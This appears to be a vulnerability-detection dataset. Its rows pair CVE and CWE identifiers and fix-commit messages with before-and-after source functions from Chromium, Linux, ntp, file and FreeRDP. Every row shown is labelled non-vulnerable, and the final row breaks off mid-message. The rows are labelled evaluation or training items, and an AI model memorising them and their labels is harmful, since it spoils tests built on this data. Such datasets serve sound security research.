CVE ID
stringlengths
13
43
CVE Page
stringlengths
45
48
CWE ID
stringclasses
90 values
codeLink
stringlengths
46
139
commit_id
stringlengths
6
81
commit_message
stringlengths
3
13.3k
func_after
stringlengths
14
241k
func_before
stringlengths
14
241k
lang
stringclasses
3 values
project
stringclasses
309 values
vul
int8
0
1
CVE-2012-2895
https://www.cvedetails.com/cve/CVE-2012-2895/
CWE-119
https://github.com/chromium/chromium/commit/16dcd30c215801941d9890859fd79a234128fc3e
16dcd30c215801941d9890859fd79a234128fc3e
Refactors to simplify rename pathway in DownloadFileManager. This is https://chromiumcodereview.appspot.com/10668004 / r144817 (reverted due to CrOS failure) with the completion logic moved to after the auto-opening. The tests that test the auto-opening (for web store install) were waiting for download completion to check install, and hence were failing when completion was moved earlier. Doing this right would probably require another state (OPENED). BUG=123998 BUG-134930 [email protected] Review URL: https://chromiumcodereview.appspot.com/10701040 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@145157 0039d316-1c4b-4281-b951-d872f2087c98
bool DownloadItemImpl::CanOpenDownload() { return !file_externally_removed_; }
bool DownloadItemImpl::CanOpenDownload() { return !file_externally_removed_; }
C
Chrome
0
CVE-2011-1078
https://www.cvedetails.com/cve/CVE-2011-1078/
CWE-200
https://github.com/torvalds/linux/commit/c4c896e1471aec3b004a693c689f60be3b17ac86
c4c896e1471aec3b004a693c689f60be3b17ac86
Bluetooth: sco: fix information leak to userspace struct sco_conninfo has one padding byte in the end. Local variable cinfo of type sco_conninfo is copied to userspace with this uninizialized one byte, leading to old stack contents leak. Signed-off-by: Vasiliy Kulikov <[email protected]> Signed-off-by: Gustavo F. Padovan <[email protected]>
static int sco_connect_cfm(struct hci_conn *hcon, __u8 status) { BT_DBG("hcon %p bdaddr %s status %d", hcon, batostr(&hcon->dst), status); if (hcon->type != SCO_LINK && hcon->type != ESCO_LINK) return -EINVAL; if (!status) { struct sco_conn *conn; conn = sco_conn_add(hcon, status); if (conn) sco_conn_ready(conn); } else sco_conn_del(hcon, bt_err(status)); return 0; }
static int sco_connect_cfm(struct hci_conn *hcon, __u8 status) { BT_DBG("hcon %p bdaddr %s status %d", hcon, batostr(&hcon->dst), status); if (hcon->type != SCO_LINK && hcon->type != ESCO_LINK) return -EINVAL; if (!status) { struct sco_conn *conn; conn = sco_conn_add(hcon, status); if (conn) sco_conn_ready(conn); } else sco_conn_del(hcon, bt_err(status)); return 0; }
C
linux
0
CVE-2013-6626
https://www.cvedetails.com/cve/CVE-2013-6626/
null
https://github.com/chromium/chromium/commit/90fb08ed0146c9beacfd4dde98a20fc45419fff3
90fb08ed0146c9beacfd4dde98a20fc45419fff3
Cancel JavaScript dialogs when an interstitial appears. BUG=295695 TEST=See bug for repro steps. Review URL: https://chromiumcodereview.appspot.com/24360011 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@225026 0039d316-1c4b-4281-b951-d872f2087c98
void WebContentsImpl::ResetOverrideEncoding() { encoding_.clear(); Send(new ViewMsg_ResetPageEncodingToDefault(GetRoutingID())); }
void WebContentsImpl::ResetOverrideEncoding() { encoding_.clear(); Send(new ViewMsg_ResetPageEncodingToDefault(GetRoutingID())); }
C
Chrome
0
CVE-2014-3690
https://www.cvedetails.com/cve/CVE-2014-3690/
CWE-399
https://github.com/torvalds/linux/commit/d974baa398f34393db76be45f7d4d04fbdbb4a0a
d974baa398f34393db76be45f7d4d04fbdbb4a0a
x86,kvm,vmx: Preserve CR4 across VM entry CR4 isn't constant; at least the TSD and PCE bits can vary. TBH, treating CR0 and CR3 as constant scares me a bit, too, but it looks like it's correct. This adds a branch and a read from cr4 to each vm entry. Because it is extremely likely that consecutive entries into the same vcpu will have the same host cr4 value, this fixes up the vmcs instead of restoring cr4 after the fact. A subsequent patch will add a kernel-wide cr4 shadow, reducing the overhead in the common case to just two memory reads and a branch. Signed-off-by: Andy Lutomirski <[email protected]> Acked-by: Paolo Bonzini <[email protected]> Cc: [email protected] Cc: Petr Matousek <[email protected]> Cc: Gleb Natapov <[email protected]> Signed-off-by: Linus Torvalds <[email protected]>
static int handle_vmcall(struct kvm_vcpu *vcpu) { skip_emulated_instruction(vcpu); kvm_emulate_hypercall(vcpu); return 1; }
static int handle_vmcall(struct kvm_vcpu *vcpu) { skip_emulated_instruction(vcpu); kvm_emulate_hypercall(vcpu); return 1; }
C
linux
0
CVE-2012-2880
https://www.cvedetails.com/cve/CVE-2012-2880/
CWE-362
https://github.com/chromium/chromium/commit/fcd3a7a671ecf2d5f46ea34787d27507a914d2f5
fcd3a7a671ecf2d5f46ea34787d27507a914d2f5
[Sync] Cleanup all tab sync enabling logic now that its on by default. BUG=none TEST= Review URL: https://chromiumcodereview.appspot.com/10443046 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139462 0039d316-1c4b-4281-b951-d872f2087c98
ConflictResolver::ConflictResolver() { }
ConflictResolver::ConflictResolver() { }
C
Chrome
0
CVE-2015-5195
https://www.cvedetails.com/cve/CVE-2015-5195/
CWE-20
https://github.com/ntp-project/ntp/commit/52e977d79a0c4ace997e5c74af429844da2f27be
52e977d79a0c4ace997e5c74af429844da2f27be
[Bug 1773] openssl not detected during ./configure. [Bug 1774] Segfaults if cryptostats enabled and built without OpenSSL.
record_proto_stats( char *str /* text string */ ) { l_fp now; u_long day; if (!stats_control) return; get_systime(&now); filegen_setup(&protostats, now.l_ui); day = now.l_ui / 86400 + MJD_1900; now.l_ui %= 86400; if (protostats.fp != NULL) { fprintf(protostats.fp, "%lu %s %s\n", day, ulfptoa(&now, 3), str); fflush(protostats.fp); } }
record_proto_stats( char *str /* text string */ ) { l_fp now; u_long day; if (!stats_control) return; get_systime(&now); filegen_setup(&protostats, now.l_ui); day = now.l_ui / 86400 + MJD_1900; now.l_ui %= 86400; if (protostats.fp != NULL) { fprintf(protostats.fp, "%lu %s %s\n", day, ulfptoa(&now, 3), str); fflush(protostats.fp); } }
C
ntp
0
CVE-2015-0274
https://www.cvedetails.com/cve/CVE-2015-0274/
CWE-19
https://github.com/torvalds/linux/commit/8275cdd0e7ac550dcce2b3ef6d2fb3b808c1ae59
8275cdd0e7ac550dcce2b3ef6d2fb3b808c1ae59
xfs: remote attribute overwrite causes transaction overrun Commit e461fcb ("xfs: remote attribute lookups require the value length") passes the remote attribute length in the xfs_da_args structure on lookup so that CRC calculations and validity checking can be performed correctly by related code. This, unfortunately has the side effect of changing the args->valuelen parameter in cases where it shouldn't. That is, when we replace a remote attribute, the incoming replacement stores the value and length in args->value and args->valuelen, but then the lookup which finds the existing remote attribute overwrites args->valuelen with the length of the remote attribute being replaced. Hence when we go to create the new attribute, we create it of the size of the existing remote attribute, not the size it is supposed to be. When the new attribute is much smaller than the old attribute, this results in a transaction overrun and an ASSERT() failure on a debug kernel: XFS: Assertion failed: tp->t_blk_res_used <= tp->t_blk_res, file: fs/xfs/xfs_trans.c, line: 331 Fix this by keeping the remote attribute value length separate to the attribute value length in the xfs_da_args structure. The enables us to pass the length of the remote attribute to be removed without overwriting the new attribute's length. Also, ensure that when we save remote block contexts for a later rename we zero the original state variables so that we don't confuse the state of the attribute to be removes with the state of the new attribute that we just added. [Spotted by Brain Foster.] Signed-off-by: Dave Chinner <[email protected]> Reviewed-by: Brian Foster <[email protected]> Signed-off-by: Dave Chinner <[email protected]>
xfs_attr3_rmt_read_verify( struct xfs_buf *bp) { struct xfs_mount *mp = bp->b_target->bt_mount; char *ptr; int len; xfs_daddr_t bno; /* no verification of non-crc buffers */ if (!xfs_sb_version_hascrc(&mp->m_sb)) return; ptr = bp->b_addr; bno = bp->b_bn; len = BBTOB(bp->b_length); ASSERT(len >= XFS_LBSIZE(mp)); while (len > 0) { if (!xfs_verify_cksum(ptr, XFS_LBSIZE(mp), XFS_ATTR3_RMT_CRC_OFF)) { xfs_buf_ioerror(bp, EFSBADCRC); break; } if (!xfs_attr3_rmt_verify(mp, ptr, XFS_LBSIZE(mp), bno)) { xfs_buf_ioerror(bp, EFSCORRUPTED); break; } len -= XFS_LBSIZE(mp); ptr += XFS_LBSIZE(mp); bno += mp->m_bsize; } if (bp->b_error) xfs_verifier_error(bp); else ASSERT(len == 0); }
xfs_attr3_rmt_read_verify( struct xfs_buf *bp) { struct xfs_mount *mp = bp->b_target->bt_mount; char *ptr; int len; xfs_daddr_t bno; /* no verification of non-crc buffers */ if (!xfs_sb_version_hascrc(&mp->m_sb)) return; ptr = bp->b_addr; bno = bp->b_bn; len = BBTOB(bp->b_length); ASSERT(len >= XFS_LBSIZE(mp)); while (len > 0) { if (!xfs_verify_cksum(ptr, XFS_LBSIZE(mp), XFS_ATTR3_RMT_CRC_OFF)) { xfs_buf_ioerror(bp, EFSBADCRC); break; } if (!xfs_attr3_rmt_verify(mp, ptr, XFS_LBSIZE(mp), bno)) { xfs_buf_ioerror(bp, EFSCORRUPTED); break; } len -= XFS_LBSIZE(mp); ptr += XFS_LBSIZE(mp); bno += mp->m_bsize; } if (bp->b_error) xfs_verifier_error(bp); else ASSERT(len == 0); }
C
linux
0
CVE-2014-3538
https://www.cvedetails.com/cve/CVE-2014-3538/
CWE-399
https://github.com/file/file/commit/4a284c89d6ef11aca34da65da7d673050a5ea320
4a284c89d6ef11aca34da65da7d673050a5ea320
* Enforce limit of 8K on regex searches that have no limits * Allow the l modifier for regex to mean line count. Default to byte count. If line count is specified, assume a max of 80 characters per line to limit the byte count. * Don't allow conversions to be used for dates, allowing the mask field to be used as an offset. * Bump the version of the magic format so that regex changes are visible.
apprentice_load(struct magic_set *ms, const char *fn, int action) { int errs = 0; uint32_t i, j; size_t files = 0, maxfiles = 0; char **filearr = NULL, *mfn; struct stat st; struct magic_map *map; struct magic_entry_set mset[MAGIC_SETS]; DIR *dir; struct dirent *d; memset(mset, 0, sizeof(mset)); ms->flags |= MAGIC_CHECK; /* Enable checks for parsed files */ if ((map = CAST(struct magic_map *, calloc(1, sizeof(*map)))) == NULL) { file_oomem(ms, sizeof(*map)); return NULL; } /* print silly verbose header for USG compat. */ if (action == FILE_CHECK) (void)fprintf(stderr, "%s\n", usg_hdr); /* load directory or file */ if (stat(fn, &st) == 0 && S_ISDIR(st.st_mode)) { dir = opendir(fn); if (!dir) { errs++; goto out; } while ((d = readdir(dir)) != NULL) { if (asprintf(&mfn, "%s/%s", fn, d->d_name) < 0) { file_oomem(ms, strlen(fn) + strlen(d->d_name) + 2); errs++; closedir(dir); goto out; } if (stat(mfn, &st) == -1 || !S_ISREG(st.st_mode)) { free(mfn); continue; } if (files >= maxfiles) { size_t mlen; maxfiles = (maxfiles + 1) * 2; mlen = maxfiles * sizeof(*filearr); if ((filearr = CAST(char **, realloc(filearr, mlen))) == NULL) { file_oomem(ms, mlen); free(mfn); closedir(dir); errs++; goto out; } } filearr[files++] = mfn; } closedir(dir); qsort(filearr, files, sizeof(*filearr), cmpstrp); for (i = 0; i < files; i++) { load_1(ms, action, filearr[i], &errs, mset); free(filearr[i]); } free(filearr); } else load_1(ms, action, fn, &errs, mset); if (errs) goto out; for (j = 0; j < MAGIC_SETS; j++) { /* Set types of tests */ for (i = 0; i < mset[j].count; ) { if (mset[j].me[i].mp->cont_level != 0) { i++; continue; } i = set_text_binary(ms, mset[j].me, mset[j].count, i); } qsort(mset[j].me, mset[j].count, sizeof(*mset[j].me), apprentice_sort); /* * Make sure that any level 0 "default" line is last * (if one exists). */ set_last_default(ms, mset[j].me, mset[j].count); /* coalesce per file arrays into a single one */ if (coalesce_entries(ms, mset[j].me, mset[j].count, &map->magic[j], &map->nmagic[j]) == -1) { errs++; goto out; } } out: for (j = 0; j < MAGIC_SETS; j++) magic_entry_free(mset[j].me, mset[j].count); if (errs) { apprentice_unmap(map); return NULL; } return map; }
apprentice_load(struct magic_set *ms, const char *fn, int action) { int errs = 0; uint32_t i, j; size_t files = 0, maxfiles = 0; char **filearr = NULL, *mfn; struct stat st; struct magic_map *map; struct magic_entry_set mset[MAGIC_SETS]; DIR *dir; struct dirent *d; memset(mset, 0, sizeof(mset)); ms->flags |= MAGIC_CHECK; /* Enable checks for parsed files */ if ((map = CAST(struct magic_map *, calloc(1, sizeof(*map)))) == NULL) { file_oomem(ms, sizeof(*map)); return NULL; } /* print silly verbose header for USG compat. */ if (action == FILE_CHECK) (void)fprintf(stderr, "%s\n", usg_hdr); /* load directory or file */ if (stat(fn, &st) == 0 && S_ISDIR(st.st_mode)) { dir = opendir(fn); if (!dir) { errs++; goto out; } while ((d = readdir(dir)) != NULL) { if (asprintf(&mfn, "%s/%s", fn, d->d_name) < 0) { file_oomem(ms, strlen(fn) + strlen(d->d_name) + 2); errs++; closedir(dir); goto out; } if (stat(mfn, &st) == -1 || !S_ISREG(st.st_mode)) { free(mfn); continue; } if (files >= maxfiles) { size_t mlen; maxfiles = (maxfiles + 1) * 2; mlen = maxfiles * sizeof(*filearr); if ((filearr = CAST(char **, realloc(filearr, mlen))) == NULL) { file_oomem(ms, mlen); free(mfn); closedir(dir); errs++; goto out; } } filearr[files++] = mfn; } closedir(dir); qsort(filearr, files, sizeof(*filearr), cmpstrp); for (i = 0; i < files; i++) { load_1(ms, action, filearr[i], &errs, mset); free(filearr[i]); } free(filearr); } else load_1(ms, action, fn, &errs, mset); if (errs) goto out; for (j = 0; j < MAGIC_SETS; j++) { /* Set types of tests */ for (i = 0; i < mset[j].count; ) { if (mset[j].me[i].mp->cont_level != 0) { i++; continue; } i = set_text_binary(ms, mset[j].me, mset[j].count, i); } qsort(mset[j].me, mset[j].count, sizeof(*mset[j].me), apprentice_sort); /* * Make sure that any level 0 "default" line is last * (if one exists). */ set_last_default(ms, mset[j].me, mset[j].count); /* coalesce per file arrays into a single one */ if (coalesce_entries(ms, mset[j].me, mset[j].count, &map->magic[j], &map->nmagic[j]) == -1) { errs++; goto out; } } out: for (j = 0; j < MAGIC_SETS; j++) magic_entry_free(mset[j].me, mset[j].count); if (errs) { apprentice_unmap(map); return NULL; } return map; }
C
file
0
CVE-2011-2495
https://www.cvedetails.com/cve/CVE-2011-2495/
CWE-264
https://github.com/torvalds/linux/commit/1d1221f375c94ef961ba8574ac4f85c8870ddd51
1d1221f375c94ef961ba8574ac4f85c8870ddd51
proc: restrict access to /proc/PID/io /proc/PID/io may be used for gathering private information. E.g. for openssh and vsftpd daemons wchars/rchars may be used to learn the precise password length. Restrict it to processes being able to ptrace the target process. ptrace_may_access() is needed to prevent keeping open file descriptor of "io" file, executing setuid binary and gathering io information of the setuid'ed process. Signed-off-by: Vasiliy Kulikov <[email protected]> Signed-off-by: Linus Torvalds <[email protected]>
static int proc_single_show(struct seq_file *m, void *v) { struct inode *inode = m->private; struct pid_namespace *ns; struct pid *pid; struct task_struct *task; int ret; ns = inode->i_sb->s_fs_info; pid = proc_pid(inode); task = get_pid_task(pid, PIDTYPE_PID); if (!task) return -ESRCH; ret = PROC_I(inode)->op.proc_show(m, ns, pid, task); put_task_struct(task); return ret; }
static int proc_single_show(struct seq_file *m, void *v) { struct inode *inode = m->private; struct pid_namespace *ns; struct pid *pid; struct task_struct *task; int ret; ns = inode->i_sb->s_fs_info; pid = proc_pid(inode); task = get_pid_task(pid, PIDTYPE_PID); if (!task) return -ESRCH; ret = PROC_I(inode)->op.proc_show(m, ns, pid, task); put_task_struct(task); return ret; }
C
linux
0
CVE-2016-5219
https://www.cvedetails.com/cve/CVE-2016-5219/
CWE-416
https://github.com/chromium/chromium/commit/a4150b688a754d3d10d2ca385155b1c95d77d6ae
a4150b688a754d3d10d2ca385155b1c95d77d6ae
Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM This makes the query of GL_COMPLETION_STATUS_KHR to programs much cheaper by minimizing the round-trip to the GPU thread. Bug: 881152, 957001 Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630 Commit-Queue: Kenneth Russell <[email protected]> Reviewed-by: Kentaro Hara <[email protected]> Reviewed-by: Geoff Lang <[email protected]> Reviewed-by: Kenneth Russell <[email protected]> Cr-Commit-Position: refs/heads/master@{#657568}
GLES2DecoderPassthroughImpl::TexturePendingBinding::TexturePendingBinding( GLenum target, GLuint unit, base::WeakPtr<TexturePassthrough> texture) : target(target), unit(unit), texture(std::move(texture)) {}
GLES2DecoderPassthroughImpl::TexturePendingBinding::TexturePendingBinding( GLenum target, GLuint unit, base::WeakPtr<TexturePassthrough> texture) : target(target), unit(unit), texture(std::move(texture)) {}
C
Chrome
0
CVE-2013-7271
https://www.cvedetails.com/cve/CVE-2013-7271/
CWE-20
https://github.com/torvalds/linux/commit/f3d3342602f8bcbf37d7c46641cb9bca7618eb1c
f3d3342602f8bcbf37d7c46641cb9bca7618eb1c
net: rework recvmsg handler msg_name and msg_namelen logic This patch now always passes msg->msg_namelen as 0. recvmsg handlers must set msg_namelen to the proper size <= sizeof(struct sockaddr_storage) to return msg_name to the user. This prevents numerous uninitialized memory leaks we had in the recvmsg handlers and makes it harder for new code to accidentally leak uninitialized memory. Optimize for the case recvfrom is called with NULL as address. We don't need to copy the address at all, so set it to NULL before invoking the recvmsg handler. We can do so, because all the recvmsg handlers must cope with the case a plain read() is called on them. read() also sets msg_name to NULL. Also document these changes in include/linux/net.h as suggested by David Miller. Changes since RFC: Set msg->msg_name = NULL if user specified a NULL in msg_name but had a non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't affect sendto as it would bail out earlier while trying to copy-in the address. It also more naturally reflects the logic by the callers of verify_iovec. With this change in place I could remove " if (!uaddr || msg_sys->msg_namelen == 0) msg->msg_name = NULL ". This change does not alter the user visible error logic as we ignore msg_namelen as long as msg_name is NULL. Also remove two unnecessary curly brackets in ___sys_recvmsg and change comments to netdev style. Cc: David Miller <[email protected]> Suggested-by: Eric Dumazet <[email protected]> Signed-off-by: Hannes Frederic Sowa <[email protected]> Signed-off-by: David S. Miller <[email protected]>
static __inline__ void __ipxitf_put(struct ipx_interface *intrfc) { if (atomic_dec_and_test(&intrfc->refcnt)) __ipxitf_down(intrfc); }
static __inline__ void __ipxitf_put(struct ipx_interface *intrfc) { if (atomic_dec_and_test(&intrfc->refcnt)) __ipxitf_down(intrfc); }
C
linux
0
CVE-2018-6034
https://www.cvedetails.com/cve/CVE-2018-6034/
CWE-125
https://github.com/chromium/chromium/commit/3298d3abf47b3a7a10e44c07d821c68a5c8aa935
3298d3abf47b3a7a10e44c07d821c68a5c8aa935
Tighten about IntRect use in WebGL with overflow detection BUG=784183 TEST=test case in the bug in ASAN build [email protected] Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel Change-Id: Ie25ca328af99de7828e28e6a6e3d775f1bebc43f Reviewed-on: https://chromium-review.googlesource.com/811826 Reviewed-by: Kenneth Russell <[email protected]> Commit-Queue: Zhenyao Mo <[email protected]> Cr-Commit-Position: refs/heads/master@{#522213}
void WebGLRenderingContextBase::framebufferTexture2D(GLenum target, GLenum attachment, GLenum textarget, WebGLTexture* texture, GLint level) { if (isContextLost() || !ValidateFramebufferFuncParameters( "framebufferTexture2D", target, attachment)) return; if (texture && !texture->Validate(ContextGroup(), this)) { SynthesizeGLError(GL_INVALID_OPERATION, "framebufferTexture2D", "no texture or texture not from this context"); return; } WebGLFramebuffer* framebuffer_binding = GetFramebufferBinding(target); if (!framebuffer_binding || !framebuffer_binding->Object()) { SynthesizeGLError(GL_INVALID_OPERATION, "framebufferTexture2D", "no framebuffer bound"); return; } if (framebuffer_binding && framebuffer_binding->Opaque()) { SynthesizeGLError(GL_INVALID_OPERATION, "framebufferTexture2D", "opaque framebuffer bound"); return; } framebuffer_binding->SetAttachmentForBoundFramebuffer( target, attachment, textarget, texture, level, 0); ApplyStencilTest(); }
void WebGLRenderingContextBase::framebufferTexture2D(GLenum target, GLenum attachment, GLenum textarget, WebGLTexture* texture, GLint level) { if (isContextLost() || !ValidateFramebufferFuncParameters( "framebufferTexture2D", target, attachment)) return; if (texture && !texture->Validate(ContextGroup(), this)) { SynthesizeGLError(GL_INVALID_OPERATION, "framebufferTexture2D", "no texture or texture not from this context"); return; } WebGLFramebuffer* framebuffer_binding = GetFramebufferBinding(target); if (!framebuffer_binding || !framebuffer_binding->Object()) { SynthesizeGLError(GL_INVALID_OPERATION, "framebufferTexture2D", "no framebuffer bound"); return; } if (framebuffer_binding && framebuffer_binding->Opaque()) { SynthesizeGLError(GL_INVALID_OPERATION, "framebufferTexture2D", "opaque framebuffer bound"); return; } framebuffer_binding->SetAttachmentForBoundFramebuffer( target, attachment, textarget, texture, level, 0); ApplyStencilTest(); }
C
Chrome
0
CVE-2013-0882
https://www.cvedetails.com/cve/CVE-2013-0882/
CWE-119
https://github.com/chromium/chromium/commit/25f9415f43d607d3d01f542f067e3cc471983e6b
25f9415f43d607d3d01f542f067e3cc471983e6b
Add HTMLFormControlElement::supportsAutofocus to fix a FIXME comment. This virtual function should return true if the form control can hanlde 'autofocucs' attribute if it is specified. Note: HTMLInputElement::supportsAutofocus reuses InputType::isInteractiveContent because interactiveness is required for autofocus capability. BUG=none TEST=none; no behavior changes. Review URL: https://codereview.chromium.org/143343003 git-svn-id: svn://svn.chromium.org/blink/trunk@165432 bbb929c8-8fbe-4397-9dbb-9b2b20218538
void HTMLTextAreaElement::defaultEventHandler(Event* event) { if (renderer() && (event->isMouseEvent() || event->isDragEvent() || event->hasInterface(EventNames::WheelEvent) || event->type() == EventTypeNames::blur)) forwardEvent(event); else if (renderer() && event->isBeforeTextInsertedEvent()) handleBeforeTextInsertedEvent(static_cast<BeforeTextInsertedEvent*>(event)); HTMLTextFormControlElement::defaultEventHandler(event); }
void HTMLTextAreaElement::defaultEventHandler(Event* event) { if (renderer() && (event->isMouseEvent() || event->isDragEvent() || event->hasInterface(EventNames::WheelEvent) || event->type() == EventTypeNames::blur)) forwardEvent(event); else if (renderer() && event->isBeforeTextInsertedEvent()) handleBeforeTextInsertedEvent(static_cast<BeforeTextInsertedEvent*>(event)); HTMLTextFormControlElement::defaultEventHandler(event); }
C
Chrome
0
CVE-2016-2186
https://www.cvedetails.com/cve/CVE-2016-2186/
null
https://github.com/torvalds/linux/commit/9c6ba456711687b794dcf285856fc14e2c76074f
9c6ba456711687b794dcf285856fc14e2c76074f
Input: powermate - fix oops with malicious USB descriptors The powermate driver expects at least one valid USB endpoint in its probe function. If given malicious descriptors that specify 0 for the number of endpoints, it will crash. Validate the number of endpoints on the interface before using them. The full report for this issue can be found here: http://seclists.org/bugtraq/2016/Mar/85 Reported-by: Ralf Spenneberg <[email protected]> Cc: stable <[email protected]> Signed-off-by: Josh Boyer <[email protected]> Signed-off-by: Dmitry Torokhov <[email protected]>
static int powermate_input_event(struct input_dev *dev, unsigned int type, unsigned int code, int _value) { unsigned int command = (unsigned int)_value; struct powermate_device *pm = input_get_drvdata(dev); if (type == EV_MSC && code == MSC_PULSELED){ /* bits 0- 7: 8 bits: LED brightness bits 8-16: 9 bits: pulsing speed modifier (0 ... 510); 0-254 = slower, 255 = standard, 256-510 = faster. bits 17-18: 2 bits: pulse table (0, 1, 2 valid) bit 19: 1 bit : pulse whilst asleep? bit 20: 1 bit : pulse constantly? */ int static_brightness = command & 0xFF; // bits 0-7 int pulse_speed = (command >> 8) & 0x1FF; // bits 8-16 int pulse_table = (command >> 17) & 0x3; // bits 17-18 int pulse_asleep = (command >> 19) & 0x1; // bit 19 int pulse_awake = (command >> 20) & 0x1; // bit 20 powermate_pulse_led(pm, static_brightness, pulse_speed, pulse_table, pulse_asleep, pulse_awake); } return 0; }
static int powermate_input_event(struct input_dev *dev, unsigned int type, unsigned int code, int _value) { unsigned int command = (unsigned int)_value; struct powermate_device *pm = input_get_drvdata(dev); if (type == EV_MSC && code == MSC_PULSELED){ /* bits 0- 7: 8 bits: LED brightness bits 8-16: 9 bits: pulsing speed modifier (0 ... 510); 0-254 = slower, 255 = standard, 256-510 = faster. bits 17-18: 2 bits: pulse table (0, 1, 2 valid) bit 19: 1 bit : pulse whilst asleep? bit 20: 1 bit : pulse constantly? */ int static_brightness = command & 0xFF; // bits 0-7 int pulse_speed = (command >> 8) & 0x1FF; // bits 8-16 int pulse_table = (command >> 17) & 0x3; // bits 17-18 int pulse_asleep = (command >> 19) & 0x1; // bit 19 int pulse_awake = (command >> 20) & 0x1; // bit 20 powermate_pulse_led(pm, static_brightness, pulse_speed, pulse_table, pulse_asleep, pulse_awake); } return 0; }
C
linux
0
CVE-2014-0791
https://www.cvedetails.com/cve/CVE-2014-0791/
CWE-189
https://github.com/sidhpurwala-huzaifa/FreeRDP/commit/e2745807c4c3e0a590c0f69a9b655dc74ebaa03e
e2745807c4c3e0a590c0f69a9b655dc74ebaa03e
Fix possible integer overflow in license_read_scope_list()
void license_generate_randoms(rdpLicense* license) { ZeroMemory(license->ClientRandom, CLIENT_RANDOM_LENGTH); /* ClientRandom */ ZeroMemory(license->PremasterSecret, PREMASTER_SECRET_LENGTH); /* PremasterSecret */ #ifndef LICENSE_NULL_CLIENT_RANDOM crypto_nonce(license->ClientRandom, CLIENT_RANDOM_LENGTH); /* ClientRandom */ #endif #ifndef LICENSE_NULL_PREMASTER_SECRET crypto_nonce(license->PremasterSecret, PREMASTER_SECRET_LENGTH); /* PremasterSecret */ #endif }
void license_generate_randoms(rdpLicense* license) { ZeroMemory(license->ClientRandom, CLIENT_RANDOM_LENGTH); /* ClientRandom */ ZeroMemory(license->PremasterSecret, PREMASTER_SECRET_LENGTH); /* PremasterSecret */ #ifndef LICENSE_NULL_CLIENT_RANDOM crypto_nonce(license->ClientRandom, CLIENT_RANDOM_LENGTH); /* ClientRandom */ #endif #ifndef LICENSE_NULL_PREMASTER_SECRET crypto_nonce(license->PremasterSecret, PREMASTER_SECRET_LENGTH); /* PremasterSecret */ #endif }
C
FreeRDP
0
CVE-2011-2880
https://www.cvedetails.com/cve/CVE-2011-2880/
CWE-399
https://github.com/chromium/chromium/commit/244c78b3f737f2cacab2d212801b0524cbcc3a7b
244c78b3f737f2cacab2d212801b0524cbcc3a7b
Reset the device policy machinery upon retrying enrollment. BUG=chromium-os:18208 TEST=See bug description Review URL: http://codereview.chromium.org/7676005 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@97615 0039d316-1c4b-4281-b951-d872f2087c98
EnterpriseEnrollmentScreen::~EnterpriseEnrollmentScreen() {}
EnterpriseEnrollmentScreen::~EnterpriseEnrollmentScreen() {}
C
Chrome
0
CVE-2018-6096
https://www.cvedetails.com/cve/CVE-2018-6096/
null
https://github.com/chromium/chromium/commit/36f801fdbec07d116a6f4f07bb363f10897d6a51
36f801fdbec07d116a6f4f07bb363f10897d6a51
If a page calls |window.focus()|, kick it out of fullscreen. BUG=776418, 800056 Change-Id: I1880fe600e4814c073f247c43b1c1ac80c8fc017 Reviewed-on: https://chromium-review.googlesource.com/852378 Reviewed-by: Nasko Oskov <[email protected]> Reviewed-by: Philip Jägenstedt <[email protected]> Commit-Queue: Avi Drissman <[email protected]> Cr-Commit-Position: refs/heads/master@{#533790}
void RenderFrameImpl::EnterFullscreen() { Send(new FrameHostMsg_ToggleFullscreen(routing_id_, true)); }
void RenderFrameImpl::EnterFullscreen() { Send(new FrameHostMsg_ToggleFullscreen(routing_id_, true)); }
C
Chrome
0
CVE-2011-2799
https://www.cvedetails.com/cve/CVE-2011-2799/
CWE-399
https://github.com/chromium/chromium/commit/5a2de6455f565783c73e53eae2c8b953e7d48520
5a2de6455f565783c73e53eae2c8b953e7d48520
2011-06-02 Joone Hur <[email protected]> Reviewed by Martin Robinson. [GTK] Only load dictionaries if spell check is enabled https://bugs.webkit.org/show_bug.cgi?id=32879 We don't need to call enchant if enable-spell-checking is false. * webkit/webkitwebview.cpp: (webkit_web_view_update_settings): Skip loading dictionaries when enable-spell-checking is false. (webkit_web_view_settings_notify): Ditto. git-svn-id: svn://svn.chromium.org/blink/trunk@87925 bbb929c8-8fbe-4397-9dbb-9b2b20218538
static GtkScrollablePolicy getHorizontalScrollPolicy(WebKitWebView* webView) { return webView->priv->horizontalScrollingPolicy; }
static GtkScrollablePolicy getHorizontalScrollPolicy(WebKitWebView* webView) { return webView->priv->horizontalScrollingPolicy; }
C
Chrome
0
CVE-2013-6763
https://www.cvedetails.com/cve/CVE-2013-6763/
CWE-119
https://github.com/torvalds/linux/commit/7314e613d5ff9f0934f7a0f74ed7973b903315d1
7314e613d5ff9f0934f7a0f74ed7973b903315d1
Fix a few incorrectly checked [io_]remap_pfn_range() calls Nico Golde reports a few straggling uses of [io_]remap_pfn_range() that really should use the vm_iomap_memory() helper. This trivially converts two of them to the helper, and comments about why the third one really needs to continue to use remap_pfn_range(), and adds the missing size check. Reported-by: Nico Golde <[email protected]> Cc: [email protected] Signed-off-by: Linus Torvalds <[email protected].
